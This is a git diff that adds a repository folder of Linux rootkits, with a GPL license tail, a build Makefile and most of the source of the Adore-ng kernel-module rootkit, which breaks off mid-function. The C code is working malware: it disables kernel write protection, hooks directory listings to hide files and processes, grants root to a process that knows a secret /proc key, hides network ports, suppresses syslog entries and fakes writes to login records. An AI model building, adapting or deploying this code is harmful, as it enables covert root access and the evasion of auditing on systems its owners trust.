+ stating that you changed the files and the date of any change. + + b) You must cause any work that you distribute or publish, that in + whole or in part contains or is derived from the Program or any + part thereof, to be licensed as a whole at no charge to all third + parties under the terms of this License. + + c) If the modified program normally reads commands interactively + when run, you must cause it, when started running for such + interactive use in the most ordinary way, to print or display an + announcement including an appropriate copyright notice and a + notice that there is no warranty (or else, saying that you provide + a warranty) and that users may redistribute the program under + these conditions, and telling the user how to view a copy of this + License. (Exception: if the Program itself is interactive but + does not normally print such an announcement, your work based on + the Program is not required to print an announcement.) + +These requirements apply to the modified work as a whole. If +identifiable sections of that work are not derived from the Program, +and can be reasonably considered independent and separate works in +themselves, then this License, and its terms, do not apply to those +sections when you distribute them as separate works. But when you +distribute the same sections as part of a whole which is a work based +on the Program, the distribution of the whole must be on the terms of +this License, whose permissions for other licensees extend to the +entire whole, and thus to each and every part regardless of who wrote it. + +Thus, it is not the intent of this section to claim rights or contest +your rights to work written entirely by you; rather, the intent is to +exercise the right to control the distribution of derivative or +collective works based on the Program. + +In addition, mere aggregation of another work not based on the Program +with the Program (or with a work based on the Program) on a volume of +a storage or distribution medium does not bring the other work under +the scope of this License. + + 3. You may copy and distribute the Program (or a work based on it, +under Section 2) in object code or executable form under the terms of +Sections 1 and 2 above provided that you also do one of the following: + + a) Accompany it with the complete corresponding machine-readable + source code, which must be distributed under the terms of Sections + 1 and 2 above on a medium customarily used for software interchange; or, + + b) Accompany it with a written offer, valid for at least three + years, to give any third party, for a charge no more than your + cost of physically performing source distribution, a complete + machine-readable copy of the corresponding source code, to be + distributed under the terms of Sections 1 and 2 above on a medium + customarily used for software interchange; or, + + c) Accompany it with the information you received as to the offer + to distribute corresponding source code. (This alternative is + allowed only for noncommercial distribution and only if you + received the program in object code or executable form with such + an offer, in accord with Subsection b above.) + +The source code for a work means the preferred form of the work for +making modifications to it. For an executable work, complete source +code means all the source code for all modules it contains, plus any +associated interface definition files, plus the scripts used to +control compilation and installation of the executable. However, as a +special exception, the source code distributed need not include +anything that is normally distributed (in either source or binary +form) with the major components (compiler, kernel, and so on) of the +operating system on which the executable runs, unless that component +itself accompanies the executable. + +If distribution of executable or object code is made by offering +access to copy from a designated place, then offering equivalent +access to copy the source code from the same place counts as +distribution of the source code, even though third parties are not +compelled to copy the source along with the object code. + + 4. You may not copy, modify, sublicense, or distribute the Program +except as expressly provided under this License. Any attempt +otherwise to copy, modify, sublicense or distribute the Program is +void, and will automatically terminate your rights under this License. +However, parties who have received copies, or rights, from you under +this License will not have their licenses terminated so long as such +parties remain in full compliance. + + 5. You are not required to accept this License, since you have not +signed it. However, nothing else grants you permission to modify or +distribute the Program or its derivative works. These actions are +prohibited by law if you do not accept this License. Therefore, by +modifying or distributing the Program (or any work based on the +Program), you indicate your acceptance of this License to do so, and +all its terms and conditions for copying, distributing or modifying +the Program or works based on it. + + 6. Each time you redistribute the Program (or any work based on the +Program), the recipient automatically receives a license from the +original licensor to copy, distribute or modify the Program subject to +these terms and conditions. You may not impose any further +restrictions on the recipients' exercise of the rights granted herein. +You are not responsible for enforcing compliance by third parties to +this License. + + 7. If, as a consequence of a court judgment or allegation of patent +infringement or for any other reason (not limited to patent issues), +conditions are imposed on you (whether by court order, agreement or +otherwise) that contradict the conditions of this License, they do not +excuse you from the conditions of this License. If you cannot +distribute so as to satisfy simultaneously your obligations under this +License and any other pertinent obligations, then as a consequence you +may not distribute the Program at all. For example, if a patent +license would not permit royalty-free redistribution of the Program by +all those who receive copies directly or indirectly through you, then +the only way you could satisfy both it and this License would be to +refrain entirely from distribution of the Program. + +If any portion of this section is held invalid or unenforceable under +any particular circumstance, the balance of the section is intended to +apply and the section as a whole is intended to apply in other +circumstances. + +It is not the purpose of this section to induce you to infringe any +patents or other property right claims or to contest validity of any +such claims; this section has the sole purpose of protecting the +integrity of the free software distribution system, which is +implemented by public license practices. Many people have made +generous contributions to the wide range of software distributed +through that system in reliance on consistent application of that +system; it is up to the author/donor to decide if he or she is willing +to distribute software through any other system and a licensee cannot +impose that choice. + +This section is intended to make thoroughly clear what is believed to +be a consequence of the rest of this License. + + 8. If the distribution and/or use of the Program is restricted in +certain countries either by patents or by copyrighted interfaces, the +original copyright holder who places the Program under this License +may add an explicit geographical distribution limitation excluding +those countries, so that distribution is permitted only in or among +countries not thus excluded. In such case, this License incorporates +the limitation as if written in the body of this License. + + 9. The Free Software Foundation may publish revised and/or new versions +of the General Public License from time to time. Such new versions will +be similar in spirit to the present version, but may differ in detail to +address new problems or concerns. + +Each version is given a distinguishing version number. If the Program +specifies a version number of this License which applies to it and "any +later version", you have the option of following the terms and conditions +either of that version or of any later version published by the Free +Software Foundation. If the Program does not specify a version number of +this License, you may choose any version ever published by the Free Software +Foundation. + + 10. If you wish to incorporate parts of the Program into other free +programs whose distribution conditions are different, write to the author +to ask for permission. For software which is copyrighted by the Free +Software Foundation, write to the Free Software Foundation; we sometimes +make exceptions for this. Our decision will be guided by the two goals +of preserving the free status of all derivatives of our free software and +of promoting the sharing and reuse of software generally. + + NO WARRANTY + + 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY +FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN +OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES +PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED +OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF +MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS +TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE +PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, +REPAIR OR CORRECTION. + + 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING +WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR +REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, +INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING +OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED +TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY +YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER +PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE +POSSIBILITY OF SUCH DAMAGES. + + END OF TERMS AND CONDITIONS + + How to Apply These Terms to Your New Programs + + If you develop a new program, and you want it to be of the greatest +possible use to the public, the best way to achieve this is to make it +free software which everyone can redistribute and change under these terms. + + To do so, attach the following notices to the program. It is safest +to attach them to the start of each source file to most effectively +convey the exclusion of warranty; and each file should have at least +the "copyright" line and a pointer to where the full notice is found. + + {description} + Copyright (C) {year} {fullname} + + This program is free software; you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation; either version 2 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License along + with this program; if not, write to the Free Software Foundation, Inc., + 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. + +Also add information on how to contact you by electronic and paper mail. + +If the program is interactive, make it output a short notice like this +when it starts in an interactive mode: + + Gnomovision version 69, Copyright (C) year name of author + Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. + This is free software, and you are welcome to redistribute it + under certain conditions; type `show c' for details. + +The hypothetical commands `show w' and `show c' should show the appropriate +parts of the General Public License. Of course, the commands you use may +be called something other than `show w' and `show c'; they could even be +mouse-clicks or menu items--whatever suits your program. + +You should also get your employer (if you work as a programmer) or your +school, if any, to sign a "copyright disclaimer" for the program, if +necessary. Here is a sample; alter the names: + + Yoyodyne, Inc., hereby disclaims all copyright interest in the program + `Gnomovision' (which makes passes at compilers) written by James Hacker. + + {signature of Ty Coon}, 1 April 1989 + Ty Coon, President of Vice + +This General Public License does not permit incorporating your program into +proprietary programs. If your program is a subroutine library, you may +consider it more useful to permit linking proprietary applications with the +library. If this is what you want to do, use the GNU Lesser General +Public License instead of this License. + diff --git a/Linux/Rootkits/Adore-ng/Makefile b/Linux/Rootkits/Adore-ng/Makefile new file mode 100644 index 0000000..a16db91 --- /dev/null +++ b/Linux/Rootkits/Adore-ng/Makefile @@ -0,0 +1,43 @@ +# New kbuild based Makefile for 2.6 kernel +# Edit ELITE_UID etc. and copy to 'Makefile' +# then type 'make' + +EXTRA_CFLAGS=-DELITE_UID=2618748389U -DELITE_GID=4063569279U +EXTRA_CFLAGS+=-DCURRENT_ADORE=56 +EXTRA_CFLAGS+=-DADORE_KEY=\"fgjgggfd\" + +#EXTRA_CFLAGS+=-DHIDE + +# Enable this so it expects itself to be relinked into another LKM with +# 'relink26' script. If compiled with this switch, it cant +# be loaded stand alone. +#EXTRA_CFLAGS+=-DRELINKED + +#EXTRA_CFLAGS+=-D__SMP__ # enable this for SMP systems + +# comment this out if your dmesg tells you that the version +# magic strings from adore-ng differ from your kernel one's +# you need to change the adore-ng-2.6.c file VERSION_MAGIC +# at the end of the file to match your version +#EXTRA_CFLAGS+=-DCROSS_BUILD + +EXTRA_CFLAGS+=-DMODIFY_PAGE_TABLES +EXTRA_CFLAGS+=-DFOUR_LEVEL_PAGING + + +#KERNEL_SOURCE=/usr/src/linux +KERNELBUILD := /lib/modules/$(shell uname -r)/build + +obj-m += adore-ng.o + +default: ava adore + +adore: + make -C $(KERNELBUILD) M=$(shell pwd) modules + +ava: ava.c libinvisible.c + $(CC) $(EXTRA_CFLAGS) ava.c libinvisible.c -o ava + +clean: + rm -f core ava *.ko *.o + rm -f *mod* Module* diff --git a/Linux/Rootkits/Adore-ng/README.md b/Linux/Rootkits/Adore-ng/README.md new file mode 100644 index 0000000..27e1370 --- /dev/null +++ b/Linux/Rootkits/Adore-ng/README.md @@ -0,0 +1,4 @@ +adore-ng +======== + +linux rootkit adapted for 2.6 and 3.x diff --git a/Linux/Rootkits/Adore-ng/adore-ng.c b/Linux/Rootkits/Adore-ng/adore-ng.c new file mode 100644 index 0000000..9d8563e --- /dev/null +++ b/Linux/Rootkits/Adore-ng/adore-ng.c @@ -0,0 +1,932 @@ +/*** (C) 2004-2005 by Stealth + *** http://stealth.scorpions.net/rootkits + *** http://stealth.openwall.net/rootkits + *** + *** 2008 wzt -- Fix gcc complier warnnings. + *** + *** http://www.xsec.org + *** + *** (C)'ed Under a BSDish license. Please look at LICENSE-file. + *** SO YOU USE THIS AT YOUR OWN RISK! + *** YOU ARE ONLY ALLOWED TO USE THIS IN LEGAL MANNERS. + *** !!! FOR EDUCATIONAL PURPOSES ONLY !!! + *** + *** -> Use ava to get all the things workin'. + *** + ***/ +#ifndef __KERNEL__ +#define __KERNEL__ +#endif +#ifndef MODULE +#define MODULE +#endif + +#define LINUX26 + +#ifdef MODVERSIONS +#include +#endif + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include +#include +#include +#include +#include +#include +#include +#include + +#include "adore-ng.h" + +#ifdef __x86_64__ +uint64_t orig_cr0; +uint64_t clear_return_cr0(void) +{ + uint64_t cr0 = 0; + uint64_t ret; + asm volatile ("mov %%cr0, %%rax" + :"=a"(cr0) + ); + ret = cr0; + cr0 &= 0xfffeffff; + asm volatile ("mov %%rax, %%cr0" + : + :"a"(cr0) + ); + return ret; +} +void setback_cr0(uint64_t val) +{ + asm volatile ("mov %%rax, %%cr0" + : + :"a"(val) + ); +} +#else +unsigned orig_cr0; +/*清除cr0寄存器的写ä¿æŠ¤ä½ï¼Œç¬¬16ä½ä¸ºWP写ä¿æŠ¤ä½*/ +unsigned clear_return_cr0(void) +{ + unsigned cr0 = 0; + unsigned ret; + asm volatile ("movl %%cr0, %%eax" + :"=a"(cr0) + ); + ret = cr0; + cr0 &= 0xfffeffff; + asm volatile ("movl %%eax, %%cr0" + : + :"a"(cr0) + ); + return ret; +} +/*用orig_cr0æ¢å¤cr0寄存器*/ +void setback_cr0(unsigned val) +{ + asm volatile ("movl %%eax, %%cr0" + : + :"a"(val) + ); +} +#endif + +char *proc_fs = "/proc"; /* default proc FS to hide processes */ +char *root_fs = "/"; /* default FS to hide files */ +char *opt_fs = NULL; + +typedef int (*readdir_t)(struct file *, void *, filldir_t); +readdir_t orig_root_readdir = NULL, orig_opt_readdir = NULL; +readdir_t orig_proc_readdir = NULL; + +#if (LINUX_VERSION_CODE >= KERNEL_VERSION(3, 11, 0)) +typedef int (*iterate_dir_t)(struct file *, struct dir_context *); +iterate_dir_t orig_root_iterate = NULL; +iterate_dir_t orig_opt_iterate = NULL; +iterate_dir_t orig_proc_iterate = NULL; +#endif + +struct dentry *(*orig_proc_lookup)(struct inode *, struct dentry *, + struct nameidata *) = NULL; + +#ifndef PID_MAX +#define PID_MAX 0x8000 +#endif + +static char hidden_procs[PID_MAX/8+1]; + +inline void hide_proc(pid_t x) +{ + if (x >= PID_MAX || x == 1) + return; + hidden_procs[x/8] |= 1<<(x%8); +} + +inline void unhide_proc(pid_t x) +{ + if (x >= PID_MAX) + return; + hidden_procs[x/8] &= ~(1<<(x%8)); +} + +inline char is_invisible(pid_t x) +{ + if (x >= PID_MAX) + return 0; + return hidden_procs[x/8]&(1<<(x%8)); +} + +/* Theres some crap after the PID-filename on proc + * getdents() so the semantics of this function changed: + * Make "672" -> 672 and + * "672|@\" -> 672 too + */ +int adore_atoi(const char *str) +{ + int ret = 0, mul = 1; + const char *ptr; + + for (ptr = str; *ptr >= '0' && *ptr <= '9'; ptr++) + ; + ptr--; + while (ptr >= str) { + if (*ptr < '0' || *ptr > '9') + break; + ret += (*ptr - '0') * mul; + mul *= 10; + ptr--; + } + return ret; +} + +/* Own implementation of find_task_by_pid() */ +struct task_struct *adore_find_task(pid_t pid) +{ + struct task_struct *p; + + //read_lock(&tasklist_lock); + for_each_task(p) { + if (p->pid == pid) { + // read_unlock(&tasklist_lock); + return p; + } + } + //read_unlock(&tasklist_lock); + return NULL; +} + +int should_be_hidden(pid_t pid) +{ + struct task_struct *p = NULL; + + if (is_invisible(pid)) { + return 1; + } + + p = adore_find_task(pid); + if (!p) + return 0; + + /* If the parent is hidden, we are hidden too XXX */ + task_lock(p); + + if (is_invisible(p->parent->pid)) { + task_unlock(p); + hide_proc(pid); + return 1; + } + + task_unlock(p); + return 0; +} +#ifndef cap_set_full +#ifndef CAP_FULL_SET +# define CAP_FULL_SET ((kernel_cap_t){{ ~0, ~0 }}) +#endif +#ifndef cap_set_full +# define cap_set_full(c) do { (c) = ((kernel_cap_t){{ ~0, ~0 }}); } while (0) +#endif +#endif + +#if (LINUX_VERSION_CODE < KERNEL_VERSION(3, 9, 0)) +#define PATCH_UID +#else +#define PATCH_UID .val +#endif + +/* You can control adore-ng without ava too: + * + * echo > /proc/ will make the shell authenticated, + * echo > /proc/-fullprivs will give UID 0, + * cat /proc/hide- from such a shell will hide PID, + * cat /proc/unhide- will unhide the process + */ +struct dentry *adore_lookup(struct inode *i, struct dentry *d, + struct nameidata *nd) +{ + struct cred *edit_cred = (struct cred *)current->cred; + task_lock(current); + + if (strncmp(ADORE_KEY, d->d_iname, strlen(ADORE_KEY)) == 0) { + current->flags |= PF_AUTH; + edit_cred->suid PATCH_UID = ADORE_VERSION; + } else if ((current->flags & PF_AUTH) && + strncmp(d->d_iname, "fullprivs", 9) == 0) { + edit_cred->uid PATCH_UID = 0; + edit_cred->suid PATCH_UID = 0; + edit_cred->euid PATCH_UID = 0; + edit_cred->gid PATCH_UID = 0; + edit_cred->egid PATCH_UID = 0; + edit_cred->fsuid PATCH_UID = 0; + edit_cred->fsgid PATCH_UID = 0; + + cap_set_full(edit_cred->cap_effective); + cap_set_full(edit_cred->cap_inheritable); + cap_set_full(edit_cred->cap_permitted); + } else if ((current->flags & PF_AUTH) && + strncmp(d->d_iname, "hide-", 5) == 0) { + hide_proc(adore_atoi(d->d_iname+5)); + } else if ((current->flags & PF_AUTH) && + strncmp(d->d_iname, "unhide-", 7) == 0) { + unhide_proc(adore_atoi(d->d_iname+7)); + } else if ((current->flags & PF_AUTH) && + strncmp(d->d_iname, "uninstall", 9) == 0) { + cleanup_module(); + } + + task_unlock(current); + + if (should_be_hidden(adore_atoi(d->d_iname)) && + /* A hidden ps must be able to see itself! */ + !should_be_hidden(current->pid)) + return NULL; + + return orig_proc_lookup(i, d, nd); +} + +filldir_t proc_filldir = NULL; +DEFINE_SPINLOCK(proc_filldir_lock); + +int adore_proc_filldir(void *buf, const char *name, int nlen, loff_t off, u64 ino, unsigned x) +{ + char abuf[128]; + + memset(abuf, 0, sizeof(abuf)); + memcpy(abuf, name, nlen < sizeof(abuf) ? nlen : sizeof(abuf) - 1); + + if (should_be_hidden(adore_atoi(abuf))) + return 0; + + if (proc_filldir) + return proc_filldir(buf, name, nlen, off, ino, x); + return 0; +} + +int adore_proc_readdir(struct file *fp, void *buf, filldir_t filldir) +{ + int r = 0; + + spin_lock(&proc_filldir_lock); + proc_filldir = filldir; + r = orig_proc_readdir(fp, buf, adore_proc_filldir); + spin_unlock(&proc_filldir_lock); + return r; +} + + +filldir_t opt_filldir = NULL; +struct dentry *parent_opt_dir[1024]; + +int adore_opt_filldir(void *buf, const char *name, int nlen, loff_t off, u64 ino, unsigned x) +{ + struct inode *inode = NULL; + struct dentry *dentry = NULL; + struct qstr this; + struct dentry *dir = parent_opt_dir[current->pid % 1024]; + int r = 0; + uid_t uid; + gid_t gid; + + if (!dir) + return 0; + this.name = name; + this.len = nlen; + this.hash = full_name_hash(this.name, this.len); + dentry = d_lookup(dir, &this); + if (!dentry) { + dentry = d_alloc(dir, &this); + if (!dentry) { + return 0; + } + if (!dir->d_inode->i_op->lookup) + return 0; + if(dir->d_inode->i_op->lookup(dir->d_inode, dentry, NULL) != 0) { + return 0; + } + } + if(!(inode = dentry->d_inode)) + return 0; + + uid = inode->i_uid PATCH_UID ; + gid = inode->i_gid PATCH_UID; + + iput(inode); + dput(dentry); +/* + if (reiser) { + if (inode->i_state & I_NEW) + unlock_new_inode(inode); + } + + iput(inode); +*/ + /* Is it hidden ? */ + if (uid == ELITE_UID && gid == ELITE_GID) { + r = 0; + } else if (opt_filldir) + r = opt_filldir(buf, name, nlen, off, ino, x); + + return r; +} + + +int adore_opt_readdir(struct file *fp, void *buf, filldir_t filldir) +{ + int r = 0; + + if (!fp || !fp->f_dentry || !buf || !filldir || !orig_root_readdir) + return 0; + + opt_filldir = filldir; + parent_opt_dir[current->pid % 1024] = fp->f_dentry; + r = orig_opt_readdir(fp, buf, adore_opt_filldir); + + return r; +} + + + +/* About the locking of these global vars: + * I used to lock these via rwlocks but on SMP systems this can cause + * a deadlock because the iget() locks an inode itself and I guess this + * could cause a locking situation of AB BA. So, I do not lock root_sb and + * root_filldir (same with opt_) anymore. root_filldir should anyway always + * be the same (filldir64 or filldir, depending on the libc). The worst thing + * that could happen is that 2 processes call filldir where the 2nd is + * replacing root_sb which affects the 1st process which AT WORST CASE shows + * the hidden files. + * Following conditions have to be met then: 1. SMP 2. 2 processes calling + * getdents() on 2 different partitions with the same FS. + * Now, since I made an array of super_blocks it must also be that the PIDs of + * these procs have to be the same PID modulo 1024. This sitation (all 3 cases + * must be met) should be very very rare. + */ +filldir_t root_filldir = NULL; +//struct super_block *root_sb[1024]; +struct dentry *parent_dir[1024]; + +int adore_root_filldir(void *buf, const char *name, int nlen, loff_t off, u64 ino, unsigned x) +{ + struct inode *inode = NULL; + struct dentry *dentry = NULL; + struct qstr this; + struct dentry *dir = parent_dir[current->pid % 1024]; + int r = 0; + uid_t uid; + gid_t gid; + + if (!dir) + return 0; + + /* Theres an odd 2.6 behaivior. iget() crashes on ReiserFS! using iget_locked + * without the unlock_new_inode() doesnt crash, but deadlocks + * time to time. So I basically emulate iget() without + * the sb->s_op->read_inode(inode); and so it doesnt crash or deadlock. + */ + + if(strcmp(name, ".") == 0 || strcmp(name , "..") == 0) + return root_filldir(buf, name, nlen, off, ino, x); + + /*下é¢çš„代ç å¯ä»¥ç”¨è¿™ä¸ªä»£æ›¿ï¼Œä½†æ˜¯å†…核警告说最好ä¸è¦ç”¨è¿™ä¸ªå‡½æ•° + *struct dentry *lookup_one_len(const char *name, struct dentry *base, int len) + */ + this.name = name; + this.len = nlen; + this.hash = full_name_hash(this.name, this.len); + dentry = d_lookup(dir, &this); + if (!dentry) { + dentry = d_alloc(dir, &this); + if (!dentry) { + return 0; + } + if (!dir->d_inode->i_op->lookup) + return 0; + if(dir->d_inode->i_op->lookup(dir->d_inode, dentry, NULL) != 0) { + printk("lookup failed\n"); + return 0; + } + } + if(!(inode = dentry->d_inode)) { + return 0; + } + + uid = inode->i_uid PATCH_UID; + gid = inode->i_gid PATCH_UID; + + //iput(inode); + //dput(dentry); + + /* Is it hidden ? */ + if (uid == ELITE_UID && gid == ELITE_GID) { + r = 0; + } else if (root_filldir) { + r = root_filldir(buf, name, nlen, off, ino, x); + } + + return r; +} + +int adore_root_readdir(struct file *fp, void *buf, filldir_t filldir) +{ + int r = 0; + + if (!fp || !fp->f_dentry || !buf || !filldir || !orig_root_readdir) + return 0; + + root_filldir = filldir; + parent_dir[current->pid % 1024] = fp->f_dentry; + r = orig_root_readdir(fp, buf, adore_root_filldir); + + return r; +} + +#if (LINUX_VERSION_CODE >= KERNEL_VERSION(3, 11, 0)) + +static int adore_opt_iterate(struct file *fp, struct dir_context *ctx) +{ + int r = 0; + struct dir_context new_ctx = { + .actor = adore_proc_filldir + }; + + if (!fp || !fp->f_dentry || !orig_opt_iterate) + return 0; + + opt_filldir = ctx->actor; + memcpy(ctx, &new_ctx, sizeof(readdir_t)); + parent_opt_dir[current->pid % 1024] = fp->f_dentry; + r = orig_opt_iterate(fp, ctx); + + return r; +} + +static int adore_proc_iterate(struct file *fp, struct dir_context *ctx) +{ + int r = 0; + struct dir_context new_ctx = { + .actor = adore_proc_filldir + }; + + spin_lock(&proc_filldir_lock); + proc_filldir = ctx->actor; + memcpy(ctx, &new_ctx, sizeof(readdir_t)); + r = orig_proc_iterate(fp, ctx); + spin_unlock(&proc_filldir_lock); + return r; +} + +static int adore_root_iterate(struct file *fp, struct dir_context *ctx) +{ + int r = 0; + struct dir_context new_ctx = { + .actor = adore_root_filldir + }; + + if (!fp || !fp->f_dentry || !orig_root_iterate) + return -ENOTDIR; + + root_filldir = ctx->actor; + parent_dir[current->pid % 1024] = fp->f_dentry; + + memcpy(ctx, &new_ctx, sizeof(readdir_t)); + r = orig_root_iterate(fp, ctx); + + return r; +} +#endif + +int patch_vfs(const char *p, +#if (LINUX_VERSION_CODE < KERNEL_VERSION(3, 11, 0)) + readdir_t *orig_readdir, readdir_t new_readdir +#else + iterate_dir_t *orig_iterate, iterate_dir_t new_iterate +#endif + ) +{ + struct file_operations *new_op; + struct file *filep; + + filep = filp_open(p, O_RDONLY|O_DIRECTORY, 0); + if (IS_ERR(filep)) { + return -1; + } + +#if (LINUX_VERSION_CODE < KERNEL_VERSION(3, 11, 0)) + if (orig_readdir) + *orig_readdir = filep->f_op->readdir; +#else + if (orig_iterate) + *orig_iterate = filep->f_op->iterate; +#endif + + new_op = (struct file_operations *)filep->f_op; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(3, 11, 0)) + new_op->readdir = new_readdir; +#else + new_op->iterate = new_iterate; + printk("patch starting, %p --> %p\n", *orig_iterate, new_iterate); +#endif + + filep->f_op = new_op; + filp_close(filep, 0); + return 0; +} + +int unpatch_vfs(const char *p, +#if (LINUX_VERSION_CODE < KERNEL_VERSION(3, 11, 0)) + readdir_t orig_readdir +#else + iterate_dir_t orig_iterate +#endif + ) +{ + struct file_operations *new_op; + struct file *filep; + + filep = filp_open(p, O_RDONLY|O_DIRECTORY, 0); + if (IS_ERR(filep)) { + return -1; + } + + new_op = (struct file_operations *)filep->f_op; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(3, 11, 0)) + new_op->readdir = orig_readdir; +#else + printk("unpatch starting, %p --> %p\n", new_op->iterate, orig_iterate); + new_op->iterate = orig_iterate; +#endif + + filp_close(filep, 0); + return 0; +} + + +char *strnstr(const char *haystack, const char *needle, size_t n) +{ + char *s = strstr(haystack, needle); + if (s == NULL) + return NULL; + if (s-haystack+strlen(needle) <= n) + return s; + else + return NULL; +} + +struct file *var_files[] = { + NULL, + NULL, + NULL, + NULL +}; + +char *var_filenames[] = { + "/var/run/utmp", + "/var/log/wtmp", + "/var/log/lastlog", + NULL +}; + +ssize_t (*orig_var_write)(struct file *, const char *, size_t, loff_t *) = NULL; + +ssize_t adore_var_write(struct file *f, const char *buf, size_t blen, loff_t *off) +{ + int i = 0; + + /* If its hidden and if it has no special privileges and + * if it tries to write to the /var files, fake it + */ + if (should_be_hidden(current->pid) && + !(current->flags & PF_AUTH)) { + for (i = 0; var_filenames[i]; ++i) { + if (var_files[i] && + var_files[i]->f_dentry->d_inode->i_ino == f->f_dentry->d_inode->i_ino) { + *off += blen; + return blen; + } + } + } + return orig_var_write(f, buf, blen, off); +} + +#ifndef kobject_unregister +void kobject_unregister(struct kobject * kobj) +{ + if (!kobj) + return; + + pr_debug("kobject %s: unregistering\n",kobject_name(kobj)); + kobject_uevent(kobj, KOBJ_REMOVE); + kobject_del(kobj); + kobject_put(kobj); +} +#endif + +#if (LINUX_VERSION_CODE < KERNEL_VERSION(3, 10, 0)) +struct tcp_seq_afinfo *proc_find_tcp_seq(void) +{ + struct proc_dir_entry *pde = init_net.proc_net->subdir; + + while (strcmp(pde->name, "tcp")) + pde = pde->next; + + return (struct tcp_seq_afinfo*)pde->data; +} +#else +struct tcp_seq_afinfo *proc_find_tcp_seq(void) +{ + struct file *filep; + struct tcp_seq_afinfo *afinfo; + + filep = filp_open("/proc/net/tcp", O_RDONLY, 0); + if(!filep) return NULL; + + afinfo = PDE_DATA(filep->f_dentry->d_inode); + filp_close(filep, 0); + + return afinfo; +} +#endif +#define NET_CHUNK 150 + +int (*orig_tcp4_seq_show)(struct seq_file*, void *) = NULL; + +int adore_tcp4_seq_show(struct seq_file *seq, void *v) +{ + int i = 0, r = 0; + char port[12]; + + r = orig_tcp4_seq_show(seq, v); + for (i = 0; HIDDEN_SERVICES[i]; ++i) { + sprintf(port, ":%04X", HIDDEN_SERVICES[i]); + /* Ignore hidden blocks */ + if (strnstr(seq->buf + seq->count-NET_CHUNK,port,NET_CHUNK)) { + seq->count -= NET_CHUNK; + break; + } + } + + return r; +} + +#if (LINUX_VERSION_CODE < KERNEL_VERSION(3, 9, 0)) +#ifndef UNIXCREDS +#define UNIXCREDS(skb) (&UNIXCB((skb)).cred) +#endif +#endif + +static +int (*orig_unix_dgram_recvmsg)(struct kiocb *, struct socket *, struct msghdr *, + size_t, int) = NULL; +static struct proto_ops *unix_dgram_ops = NULL; + +int adore_unix_dgram_recvmsg(struct kiocb *kio, struct socket *sock, + struct msghdr *msg, size_t size, int flags) +{ + struct sock *sk = NULL; + int noblock = flags & MSG_DONTWAIT; + struct sk_buff *skb = NULL; + int err; + struct ucred *creds = NULL; + int not_done = 1; + __u32 pid; + + if (strncmp(current->comm, "syslog", 6) != 0 || !msg || !sock) + goto out; + + sk = sock->sk; + + err = -EOPNOTSUPP; + if (flags & MSG_OOB) + goto out; + + do { + msg->msg_namelen = 0; + skb = skb_recv_datagram(sk, flags|MSG_PEEK, noblock, &err); + if (!skb) goto out; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(3, 9, 0)) + creds = UNIXCREDS(skb); + if (!creds) goto out; + pid = creds->pid; +#else + pid = pid_vnr(UNIXCB(skb).pid); +#endif + if ((not_done = should_be_hidden(pid))) + skb_dequeue(&sk->sk_receive_queue); + } while (not_done); + +out: + err = orig_unix_dgram_recvmsg(kio, sock, msg, size, flags); + return err; +} + +static int patch_syslog(void) +{ + struct socket *sock = NULL; +#ifdef MODIFY_PAGE_TABLES + pgd_t *pgd = NULL; + pmd_t *pmd = NULL; + pte_t *pte = NULL, new_pte; +#ifdef FOUR_LEVEL_PAGING + pud_t *pud = NULL; +#endif +#endif + + /* PF_UNIX, SOCK_DGRAM */ + if (sock_create(1, 2, 0, &sock) < 0) + return -1; + +#ifdef MODIFY_PAGE_TABLES + pgd = pgd_offset_k((unsigned long)sock->ops); +#ifdef FOUR_LEVEL_PAGING + pud = pud_offset(pgd, (unsigned long)sock->ops); + pmd = pmd_offset(pud, (unsigned long)sock->ops); +#else + pmd = pmd_offset(pgd, (unsigned long)sock->ops); +#endif + pte = pte_offset_kernel(pmd, (unsigned long)sock->ops); + new_pte = pte_mkwrite(*pte); + set_pte(pte, new_pte); + +#endif /* Page-table stuff */ + + if (sock && (unix_dgram_ops = (struct proto_ops *)sock->ops)) { + orig_unix_dgram_recvmsg = unix_dgram_ops->recvmsg; + unix_dgram_ops->recvmsg = adore_unix_dgram_recvmsg; + sock_release(sock); + } + + return 0; +} + +struct tcp_seq_afinfo *t_afinfo = NULL; + +int __init adore_init(void) +{ + struct file_operations *new_op; + struct inode_operations *new_inode_op; + int i = 0, j = 0; + struct file *filep; + struct list_head *m = NULL, *p = NULL, *n = NULL; + struct module *me = NULL; + + memset(hidden_procs, 0, sizeof(hidden_procs)); + + filep = filp_open(proc_fs, O_RDONLY|O_DIRECTORY, 0); + if (IS_ERR(filep)) + return -1; + + orig_cr0 = clear_return_cr0(); + + 